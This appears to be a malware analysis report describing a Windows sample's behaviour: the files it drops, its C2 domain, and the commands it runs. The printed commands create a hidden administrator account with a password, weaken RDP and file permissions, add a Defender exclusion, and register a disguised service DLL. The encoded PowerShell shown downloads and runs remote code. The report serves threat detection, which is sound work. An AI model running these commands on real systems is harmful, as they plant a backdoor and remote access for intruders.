Technical Information
Malicious functions
Downloads
- https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Modifies file system
Creates the following files
- %TEMP%\tmp4d45tmp.exe
- %TEMP%\resolve-domain.ps1
- %TEMP%\ready.ps1
- %TEMP%\42fjsylq.0.cs
- %TEMP%\42fjsylq.cmdline
- %TEMP%\42fjsylq.out
- %TEMP%\csc6f46.tmp
- %TEMP%\res6f47.tmp
- %TEMP%\42fjsylq.dll
- %WINDIR%\branding\mediasrv.png
Deletes the following files
- %TEMP%\res6f47.tmp
- %TEMP%\csc6f46.tmp
- %TEMP%\42fjsylq.cmdline
- %TEMP%\42fjsylq.dll
- %TEMP%\42fjsylq.pdb
- %TEMP%\42fjsylq.0.cs
- %TEMP%\42fjsylq.out
Network activity
Connects to
- 'dn##ueoi.us':80
UDP
- DNS ASK dn##ueoi.us
Miscellaneous
Creates and executes the following
- '%TEMP%\tmp4d45tmp.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\42fjsylq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6F47.tmp" "%TEMP%\CSC6F46.tmp"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc h1sVKbBH /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" omwfhewki$ /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc h1sVKbBH' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic path win32_VideoController get name' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic CPU get NAME' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhA...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath '%TEMP%\tmp4D45tmp.exe'
- '<SYSTEM32>\net1.exe' user WgaUtilAcc 000000 /del
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc h1sVKbBH /add
- '<SYSTEM32>\net.exe' user WgaUtilAcc h1sVKbBH /add
- '<SYSTEM32>\net1.exe' user WgaUtilAcc h1sVKbBH /add
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" omwfhewki$ /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" omwfhewki$ /ADD
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" omwfhewki$ /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc h1sVKbBH
- '<SYSTEM32>\net.exe' user WgaUtilAcc h1sVKbBH
- '<SYSTEM32>\net1.exe' user WgaUtilAcc h1sVKbBH
- '<SYSTEM32>\cmd.exe' /C wmic path win32_VideoController get name
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /C wmic CPU get NAME
- '<SYSTEM32>\wbem\wmic.exe' CPU get NAME
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del
- '<SYSTEM32>\net.exe' user WgaUtilAcc 000000 /del
- '<SYSTEM32>\net1.exe' start TermService
- '<SYSTEM32>\net.exe' start TermService
- '<SYSTEM32>\cmd.exe' /c net start TermService
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\42fjsylq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6F47.tmp" "%TEMP%\CSC6F46.tmp"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile
- '<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
- '<SYSTEM32>\cmd.exe' /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhA...
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
- '<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\branding\mediasrv.png /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
- '<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\cmd.exe' /c cmd /c net start rdpdr
- '<SYSTEM32>\cmd.exe' /c net start rdpdr
- '<SYSTEM32>\net.exe' start rdpdr
- '<SYSTEM32>\net1.exe' start rdpdr
- '<SYSTEM32>\cmd.exe' /c cmd /c net start TermService
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass & '%TEMP%\\ready.ps1'
- '<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
- '<SYSTEM32>\cmd.exe' /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0...
